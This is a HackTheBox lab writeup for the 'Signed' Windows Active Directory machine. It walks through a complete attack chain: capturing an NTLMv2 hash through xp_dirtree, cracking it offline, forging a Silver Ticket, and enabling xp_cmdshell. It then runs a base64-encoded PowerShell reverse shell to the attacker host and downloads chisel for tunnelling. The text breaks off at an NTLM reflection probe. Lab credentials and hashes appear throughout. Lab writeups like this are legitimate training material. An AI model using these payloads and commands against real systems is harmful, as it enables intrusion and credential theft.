Signed
Writeup for HackTheBox Signed machine
Executive Summary
Signed is a hard-difficulty Windows Active Directory machine on HackTheBox. The intrusion path involves exploiting Microsoft SQL Server to capture service account hashes, using the captured credentials to forge a Kerberos Silver Ticket, and leveraging NTLM reflection bypass (CVE-2025-33073) alongside MS-EFSR (PetitPotam) coercion to achieve Domain Controller system compromise.
The intrusion starts with the provided MSSQL credentials for user scott. Authenticating to the MSSQL instance, the attacker executes xp_dirtree to force the SQL Server to authenticate to an external share controlled by the attacker. This captures the NetNTLMv2 hash of the mssqlsvc service account, which is subsequently cracked offline to reveal the plaintext password.
To escalate privileges within the SQL Server instance, the attacker leverages the service account’s NT hash to forge a Kerberos Silver Ticket for the MSSQL service principal name (SPN). By specifying the group RID 1105 (which corresponds to the privileged SIGNED\IT AD group mapped to the sysadmin role in SQL Server), the attacker authenticates as a sysadmin. Enabling xp_cmdshell grants initial command execution on the host as mssqlsvc.
For privilege escalation to SYSTEM, the attacker exploits an NTLM reflection vulnerability (CVE-2025-33073). By registering a malicious DNS record starting with the prefix localhost pointing to the attacker’s IP and running an ntlmrelayx listener targeting WinRM, the attacker bypasses loopback restrictions. Triggering NTLM authentication from the Domain Controller using PetitPotam coerces the computer account DC01$ to connect back to the spoofed host, relaying the credentials locally to WinRM and spawning a system-level command shell.
Machine Information
As is common in real life Windows penetration tests, you will start the Signed box with credentials for the following account which can be used to access the MSSQL service: scott / Sm230#C5NatH
Recon
Start off with an Nmap Scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ nmap -A 10.129.224.1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-12 16:54 PKT
Nmap scan report for 10.129.224.1
Host is up (0.21s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info:
| 10.129.224.1:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.129.224.1:1433:
| Target_Name: SIGNED
| NetBIOS_Domain_Name: SIGNED
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: SIGNED.HTB
| DNS_Computer_Name: DC01.SIGNED.HTB
| DNS_Tree_Name: SIGNED.HTB
|_ Product_Version: 10.0.17763
|_ssl-date: 2025-10-12T11:58:12+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-10-12T11:38:37
|_Not valid after: 2055-10-12T11:38:37
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 1433/tcp)
HOP RTT ADDRESS
1 211.38 ms 10.10.14.1
2 211.43 ms 10.129.224.1
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 194.12 seconds
- Nmap shows the host is up with only TCP/1433 open, running Microsoft SQL Server 2022 (RTM).
- Enumeration leaked AD/NetBIOS details (
SIGNED,DC01,SIGNED.HTB), an OS guess of Windows Server 2019, and a self-signed TLS certificate.
Add the following line to /etc/hosts so the target hostnames resolve locally:
1
echo '10.129.224.1 DC01.SIGNED.HTB SIGNED.HTB' | sudo tee -a /etc/hosts
Enumeration
The machine supplies valid credentials, so I used them to authenticate to the MSSQL service. The successful netexec output confirms a local DC01\scott account and an active MSSQL instance on port 1433:
1
2
3
4
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ netexec mssql DC01.signed.htb -u scott -p Sm230#C5NatH --local-auth
MSSQL 10.129.224.1 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.224.1 1433 DC01 [+] DC01\scott:Sm230#C5NatH
Now I Performed an RID brute-force enumeration , which enumerated domain RIDs and revealed built-in accounts (e.g. Administrator, Guest, krbtgt), privileged groups (Domain Admins) and service/computer accounts (e.g. mssqlsvc, DC01$).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ netexec mssql DC01.signed.htb -u scott -p Sm230#C5NatH --local-auth --rid-brute
MSSQL 10.129.224.1 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.224.1 1433 DC01 [+] DC01\scott:Sm230#C5NatH
MSSQL 10.129.224.1 1433 DC01 498: SIGNED\Enterprise Read-only Domain Controllers
MSSQL 10.129.224.1 1433 DC01 500: SIGNED\Administrator
MSSQL 10.129.224.1 1433 DC01 501: SIGNED\Guest
MSSQL 10.129.224.1 1433 DC01 502: SIGNED\krbtgt
MSSQL 10.129.224.1 1433 DC01 512: SIGNED\Domain Admins
MSSQL 10.129.224.1 1433 DC01 513: SIGNED\Domain Users
MSSQL 10.129.224.1 1433 DC01 514: SIGNED\Domain Guests
MSSQL 10.129.224.1 1433 DC01 515: SIGNED\Domain Computers
MSSQL 10.129.224.1 1433 DC01 516: SIGNED\Domain Controllers
MSSQL 10.129.224.1 1433 DC01 517: SIGNED\Cert Publishers
MSSQL 10.129.224.1 1433 DC01 518: SIGNED\Schema Admins
MSSQL 10.129.224.1 1433 DC01 519: SIGNED\Enterprise Admins
MSSQL 10.129.224.1 1433 DC01 520: SIGNED\Group Policy Creator Owners
MSSQL 10.129.224.1 1433 DC01 521: SIGNED\Read-only Domain Controllers
MSSQL 10.129.224.1 1433 DC01 522: SIGNED\Cloneable Domain Controllers
MSSQL 10.129.224.1 1433 DC01 525: SIGNED\Protected Users
MSSQL 10.129.224.1 1433 DC01 526: SIGNED\Key Admins
MSSQL 10.129.224.1 1433 DC01 527: SIGNED\Enterprise Key Admins
MSSQL 10.129.224.1 1433 DC01 553: SIGNED\RAS and IAS Servers
MSSQL 10.129.224.1 1433 DC01 571: SIGNED\Allowed RODC Password Replication Group
MSSQL 10.129.224.1 1433 DC01 572: SIGNED\Denied RODC Password Replication Group
MSSQL 10.129.224.1 1433 DC01 1000: SIGNED\DC01$
MSSQL 10.129.224.1 1433 DC01 1101: SIGNED\DnsAdmins
MSSQL 10.129.224.1 1433 DC01 1102: SIGNED\DnsUpdateProxy
MSSQL 10.129.224.1 1433 DC01 1103: SIGNED\mssqlsvc
MSSQL 10.129.224.1 1433 DC01 1104: SIGNED\HR
MSSQL 10.129.224.1 1433 DC01 1105: SIGNED\IT
MSSQL 10.129.224.1 1433 DC01 1106: SIGNED\Finance
MSSQL 10.129.224.1 1433 DC01 1107: SIGNED\Developers
MSSQL 10.129.224.1 1433 DC01 1108: SIGNED\Support
MSSQL 10.129.224.1 1433 DC01 1109: SIGNED\oliver.mills
MSSQL 10.129.224.1 1433 DC01 1110: SIGNED\emma.clark
MSSQL 10.129.224.1 1433 DC01 1111: SIGNED\liam.wright
MSSQL 10.129.224.1 1433 DC01 1112: SIGNED\noah.adams
MSSQL 10.129.224.1 1433 DC01 1113: SIGNED\ava.morris
MSSQL 10.129.224.1 1433 DC01 1114: SIGNED\sophia.turner
MSSQL 10.129.224.1 1433 DC01 1115: SIGNED\james.morgan
MSSQL 10.129.224.1 1433 DC01 1116: SIGNED\mia.cooper
MSSQL 10.129.224.1 1433 DC01 1117: SIGNED\elijah.brooks
MSSQL 10.129.224.1 1433 DC01 1118: SIGNED\isabella.evans
MSSQL 10.129.224.1 1433 DC01 1119: SIGNED\lucas.murphy
MSSQL 10.129.224.1 1433 DC01 1120: SIGNED\william.johnson
MSSQL 10.129.224.1 1433 DC01 1121: SIGNED\charlotte.price
MSSQL 10.129.224.1 1433 DC01 1122: SIGNED\henry.bennett
MSSQL 10.129.224.1 1433 DC01 1123: SIGNED\amelia.kelly
MSSQL 10.129.224.1 1433 DC01 1124: SIGNED\jackson.gray
MSSQL 10.129.224.1 1433 DC01 1125: SIGNED\harper.diaz
MSSQL 10.129.224.1 1433 DC01 1126: SIGNED\SQLServer2005SQLBrowserUser$DC01
The output also lists numerous domain groups and user accounts (HR, IT, Finance, Developers and users like oliver.mills, emma.clark, etc.), giving a clear inventory of accounts to target for further enumeration.
Authenticated to MSSQL using impacket-mssqlclient with the supplied credentials, but the SQL session is mapped to the guest user (limited privileges):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ impacket-mssqlclient scott:Sm230#C5NatH@SIGNED.HTB
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (scott guest@master)> SELECT USER_NAME();
-----
guest
SQL (scott guest@master)>
I checked for user databases, sysadmin membership, and linked servers:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
SQL (scott guest@master)>
SQL (scott guest@master)> SELECT name FROM master.sys.databases;
name
------
master
tempdb
model
msdb
SQL (scott guest@master)>
SQL (scott guest@master)> SELECT IS_SRVROLEMEMBER('sysadmin');
-
0
SQL (scott guest@master)>
SQL (scott guest@master)> EXEC sp_linkedservers;
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT
-------- ---------------- ----------- -------------- ------------------ ------------ -------
DC01 SQLNCLI SQL Server DC01 NULL NULL NULL
SQL (scott guest@master)>
Summary: only system databases are present and the account lacks sysadmin privileges; the linked server DC01 is listed but provides no useful access — nothing of interest here.
Forcing an SMB authentication (xp_dirtree → Responder capture)
Running EXEC master..xp_dirtree '\\10.10.14.166\SHARE'; forces the MSSQL service to access a UNC path. Even though xp_dirtree returned no directory listing, the outbound UNC lookup causes the server to attempt NTLM authentication to the specified host.
When MSSQL accesses a UNC path \\attacker\share, the Windows redirector automatically initiates NTLM authentication to the remote SMB server via the NtLmSsp SSPI handshake (Type 1 Negotiate → Type 2 Challenge → Type 3 Authenticate). Responder captures the Type 3 message containing the NetNTLMv2 hash, which includes the server challenge and HMAC response — this hash is crackable offline.
1
2
3
4
SQL (scott guest@master)> EXEC master..xp_dirtree '\\10.10.14.166\SHARE';
subdirectory depth
------------ -----
SQL (scott guest@master)>
On our side responder was listening, and it captured an NTLMv2 authentication from the MSSQL service account:
1
2
3
4
5
6
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ sudo responder -I tun0
[sudo] password for kali:
[SMB] NTLMv2-SSP Client : 10.129.224.1
[SMB] NTLMv2-SSP Username : SIGNED\mssqlsvc
[SMB] NTLMv2-SSP Hash : mssqlsvc::SIGNED:344e05f40e5e76f2:28FE219B9E9BBA27A0B6FB09ED9A52D8:01010000000000008059681B9D3BDC018501486C2E7872FE0000000002000800350053005800450001001E00570049004E002D005000470043003500440030003600300039003400500004003400570049004E002D00500047004300350044003000360030003900340050002E0035005300580045002E004C004F00430041004C000300140035005300580045002E004C004F00430041004C000500140035005300580045002E004C004F00430041004C00070008008059681B9D3BDC01060004000200000008003000300000000000000000000000003000008BE378AFF5E75D9D744514971CBF402C93D33F3A9A969B5EC44AC95E0C18FB5A0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100360036000000000000000000
Captured NTLMv2 auth was cracked with john, revealing the mssqlsvc password:
1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
purPLE9795!@ (mssqlsvc)
1g 0:00:00:02 DONE (2025-10-12 17:32) 0.3401g/s 1525Kp/s 1525Kc/s 1525KC/s purcitititya..puppys50
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Credential: mssqlsvc:purPLE9795!@
I authenticated to MSSQL using the cracked mssqlsvc credential via Windows authentication. The connection succeeds, but the effective database user is still mapped to guest:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ impacket-mssqlclient -windows-auth signed.htb/mssqlsvc:'purPLE9795!@'@10.129.37.12
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc guest@master)> SELECT USER_NAME();
-----
guest
SQL (SIGNED\mssqlsvc guest@master)>
A quick check confirms the account is not a server sysadmin:
1
2
3
4
5
6
SQL (SIGNED\mssqlsvc guest@master)> SELECT IS_SRVROLEMEMBER('sysadmin');
-
0
SQL (SIGNED\mssqlsvc guest@master)>
Silver Ticket Attack
Theory. impacket-ticketer forges a TGS service ticket by creating a PAC (Privilege Attribute Certificate) with arbitrary user and group SIDs. The ticket is encrypted with the target service account’s NT hash (RC4-HMAC), so the KDC is never contacted during authentication. When the forged ticket is presented to the MSSQL service, SQL Server unpacks the PAC and evaluates group membership against its server roles — granting sysadmin if the PAC includes the SIGNED\IT group (RID 1105). Compared to Golden Tickets, Silver Tickets require a less powerful secret (service account key only, not krbtgt) and do not contact a domain controller.
What is required to craft one
Domain SID
The target service account NT hash
Target SPN(s) to include in the ticket (e.g.
MSSQLSvc/DC01.signed.htb:1433)A chosen username to impersonate (note: since Nov 2021 Windows rejects tickets with non-existent usernames)
The -groups parameter in impacket-ticketer injects additional group RIDs into the PAC’s GroupIds field. By specifying -groups 1105, the forged ticket asserts membership in SIGNED\IT, which is mapped to the sysadmin role in SQL Server — granting full database administrator privileges.
For more on Silver Tickets here
I checked SQL Server role membership and found several principals in the sysadmin server role, including sa, the SIGNED\IT group and multiple NT SERVICE accounts — these are potential escalation pivots or useful targets for SPNs.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ netexec mssql 10.129.37.12 -u mssqlsvc -p 'purPLE9795!@' -q "EXEC sp_helpsrvrolemember 'sysadmin';"
MSSQL 10.129.37.12 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.37.12 1433 DC01 [+] SIGNED.HTB\mssqlsvc:purPLE9795!@
MSSQL 10.129.37.12 1433 DC01 ServerRole:sysadmin
MSSQL 10.129.37.12 1433 DC01 MemberName:sa
MSSQL 10.129.37.12 1433 DC01 MemberSID:b'01'
MSSQL 10.129.37.12 1433 DC01 ServerRole:sysadmin
MSSQL 10.129.37.12 1433 DC01 MemberName:SIGNED\IT
MSSQL 10.129.37.12 1433 DC01 MemberSID:b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'
MSSQL 10.129.37.12 1433 DC01 ServerRole:sysadmin
MSSQL 10.129.37.12 1433 DC01 MemberName:NT SERVICE\SQLWriter
MSSQL 10.129.37.12 1433 DC01 MemberSID:b'010600000000000550000000732b9753646ef90356745cb675c3aa6cd6b4d28b'
MSSQL 10.129.37.12 1433 DC01 ServerRole:sysadmin
MSSQL 10.129.37.12 1433 DC01 MemberName:NT SERVICE\Winmgmt
MSSQL 10.129.37.12 1433 DC01 MemberSID:b'0106000000000005500000005a048ddff9c7430ab450d4e7477a2172ab4170f4'
MSSQL 10.129.37.12 1433 DC01 ServerRole:sysadmin
MSSQL 10.129.37.12 1433 DC01 MemberName:NT SERVICE\MSSQLSERVER
MSSQL 10.129.37.12 1433 DC01 MemberSID:b'010600000000000550000000e20f4fe7b15874e48e19026478c2dc9ac307b83e'
MSSQL 10.129.37.12 1433 DC01 ServerRole:sysadmin
MSSQL 10.129.37.12 1433 DC01 MemberName:NT SERVICE\SQLSERVERAGENT
MSSQL 10.129.37.12 1433 DC01 MemberSID:b'010600000000000550000000dca88f14b79fd47a992a3d8943f829a726066357'
Once the mssqlsvc account was identified and its SID obtained via SQL query with netexec output, we needed to extract the domain SID (everything except the last RID). The full SID contains both the domain’s identifier and the unique RID for the user.
To automate this process, I wrote a small Python utility hex2sid.py to convert a hexadecimal SID (as returned by SQL Server in hex form) into a readable S-1-5-... format.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# save as hex2sid.py and run: python3 hex2sid.py 0x010500000000000515000000a1b2c3d4e5f6...
import sys
import struct
def hex_to_sid(hexstr):
if hexstr.startswith("0x") or hexstr.startswith("0X"):
hexstr = hexstr[2:]
b = bytes.fromhex(hexstr)
# SID structure: https://learn.microsoft.com/openspecs/windows_protocols/ms-dtyp
revision = b[0]
subcount = b[1]
identifier_authority = int.from_bytes(b[2:8], byteorder='big')
subs = []
offset = 8
for i in range(subcount):
subs.append(struct.unpack('<I', b[offset:offset+4])[0]) # little-endian DWORDs
offset += 4
sid_str = "S-{}-{}".format(revision, identifier_authority)
for s in subs:
sid_str += "-" + str(s)
return sid_str, subs
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 hex2sid.py <hexsid>")
sys.exit(1)
sid, subs = hex_to_sid(sys.argv[1])
print("Full SID: ", sid)
if len(subs) >= 1:
domain_subs = subs[:-1] # remove last RID
# rebuild domain SID
import math
# We need identifier_authority again — easiest reparse:
hexstr = sys.argv[1][2:] if sys.argv[1].startswith("0x") else sys.argv[1]
b = bytes.fromhex(hexstr)
revision = b[0]
identifier_authority = int.from_bytes(b[2:8], byteorder='big')
domain_sid = "S-{}-{}".format(revision, identifier_authority)
for s in domain_subs:
domain_sid += "-" + str(s)
print("Domain SID (without last RID):", domain_sid)
else:
print("Could not parse subauthorities.")
Running it on the MSSQL service account’s hex SID:
1
2
3
4
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ python3 hex2sid.py 0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000
Full SID: S-1-5-21-4088429403-1159899800-2753317549-1105
Domain SID (without last RID): S-1-5-21-4088429403-1159899800-2753317549
Full SID: represents IT group.
Domain SID: represents the domain itself (
S-1-5-21-4088429403-1159899800-2753317549), which we’ll need when forging a Silver Ticket.The last number (
1105) is the RID (Relative Identifier) specific tomssqlsvc.
Generating the NT Hash from the Password
I converted the recovered plaintext password to its NT hash:
1
2
3
4
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ python3 -c 'import sys; sys.stdout.buffer.write("purPLE9795!@".encode("utf-16le"))' | openssl dgst -md4
MD4(stdin)= ef699384c3285c54128a3ee1ddb1a0cc
Knowing the domain SID and that 1105 corresponds to SIGNED\IT, I forged a Silver Ticket for the MSSQL SPN using the service account NT hash and included the 1105 group:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ impacket-ticketer -nthash "ef699384c3285c54128a3ee1ddb1a0cc" -domain-sid "S-1-5-21-4088429403-1159899800-2753317549" -domain "signed.htb" -spn "MSSQLSvc/DC01.signed.htb:1433" "mssqlsvc" -groups 1105
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/mssqlsvc
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in mssqlsvc.ccache
After exporting the ticket and authenticating with Kerberos, the forged ticket granted high-privilege access to MSSQL (effective user dbo and IS_SRVROLEMEMBER('sysadmin') = 1):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ export KRB5CCNAME=./mssqlsvc.ccache
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ impacket-mssqlclient signed.htb/mssqlsvc@DC01.signed.htb -k -no-pass
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (SIGNED\Administrator dbo@master)> SELECT USER_NAME();
---
dbo
SQL (SIGNED\Administrator dbo@master)> SELECT IS_SRVROLEMEMBER('sysadmin');
-
1
SQL (SIGNED\Administrator dbo@master)>
Access as mssqlsvc
From here I enable xp_cmdshell on the MSSQL server to execute system commands and obtain an interactive shell.
1
2
3
-- Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE WITH OVERRIDE;
xp_cmdshell is a built-in MSSQL extended stored procedure that executes arbitrary OS commands as the SQL Server service account — enabling it requires sysadmin and it is commonly used to spawn reverse shells or run post-exploitation commands.
Verify the feature is enabled and the server executes commands:
1
2
-- Verify by running a simple system command
EXEC xp_cmdshell 'whoami';
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
SQL (SIGNED\Administrator dbo@master)>
SQL (SIGNED\Administrator dbo@master)> EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE WITH OVERRIDE;
INFO(DC01): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(DC01): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (SIGNED\Administrator dbo@master)>
SQL (SIGNED\Administrator dbo@master)> EXEC sp_configure 'show advanced options'; EXEC sp_configure 'xp_cmdshell';
name minimum maximum config_value run_value
--------------------- ------- ------- ------------ ---------
show advanced options 0 1 1 1
xp_cmdshell 0 1 1 1
SQL (SIGNED\Administrator dbo@master)> EXEC xp_cmdshell 'whoami';
output
---------------
signed\mssqlsvc
NULL
SQL (SIGNED\Administrator dbo@master)>
From here I spawn a reverse shell by executing a PowerShell #3 Base64 payload via xp_cmdshell and catching the connection with nc -lvnp 4444.
Executed on server via xp_cmdshell (base64 PowerShell one-liner)
1
EXEC xp_cmdshell 'powershell -e <BASE64_PAYLOAD>';
1
SQL (SIGNED\Administrator dbo@master)> EXEC xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA2ADYAIgAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA';
From that shell I confirm whoami, navigate to C:\Users\mssqlsvc\Desktop, and read user.txt, retrieving the user flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.166] from (UNKNOWN) [10.129.37.12] 53549
PS C:\Windows\system32> whoami
signed\mssqlsvc
PS C:\Windows\system32> cd C:\Users\mssqlsvc\Desktop
PS C:\Users\mssqlsvc\Desktop> dir
Directory: C:\Users\mssqlsvc\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 10/13/2025 5:36 AM 34 user.txt
PS C:\Users\mssqlsvc\Desktop> type user.txt
************bb8dcb28611bb2dbf7fc
PS C:\Users\mssqlsvc\Desktop>
Privilege escalation — NTLM reflection
To access services bound to 127.0.0.1 on the target from my workstation (not the pivot network), I created a reverse chisel tunnel. Chisel creates a SOCKS5 proxy on the attacker side by forwarding traffic through the target’s outbound connection. The target connects out to our chisel server, and the R:1080:socks directive tells the server to expose a SOCKS proxy on 127.0.0.1:1080, tunneling all traffic back through the target. This gives us reachability to services listening on the DC’s loopback interface.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
PS C:\Users\mssqlsvc\Desktop> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : .htb
IPv6 Address. . . . . . . . . . . : dead:beef::b041:dc5b:fb72:e001
Link-local IPv6 Address . . . . . : fe80::f19c:221:c856:6d22%12
IPv4 Address. . . . . . . . . . . : 10.129.37.12
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.129.0.1
PS C:\Users\mssqlsvc\Desktop>
On our host, start the chisel server in reverse mode:
1
2
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ chisel server --port 11107 --reverse
On the target, download and run the chisel client to request a reverse mapping:
1
2
3
PS C:\temp> Invoke-WebRequest -Uri http://10.10.14.166/chisel.exe -OutFile ch.exe
PS C:\temp> .\ch.exe client 10.10.14.166:11107 R:1080:socks
Chisel connects and the SOCKS tunnel is established:
1
2
3
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ chisel server --port 11107 --reverse
2025/10/15 19:09:46 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
netexec confirms the host is vulnerable to NTLM reflection. The probe authenticates as SIGNED\mssqlsvc and reports VULNERABLE (can relay SMB to other protocols except SMB on 127.0.0.1) — meaning SMB signing prevents local-to-local SMB relaying, but NTLM responses can still be reflected/relayed to other services (HTTP, MSSQL, etc.), enabling lateral movement or privilege escalation.
1
2
3
4
5
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ proxychains4 -q netexec smb 127.0.0.1 -u mssqlsvc -p 'purPLE9795!@' -M ntlm_reflection
SMB 127.0.0.1 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:SIGNED.HTB) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 127.0.0.1 445 DC01 [+] SIGNED.HTB\mssqlsvc:purPLE9795!@
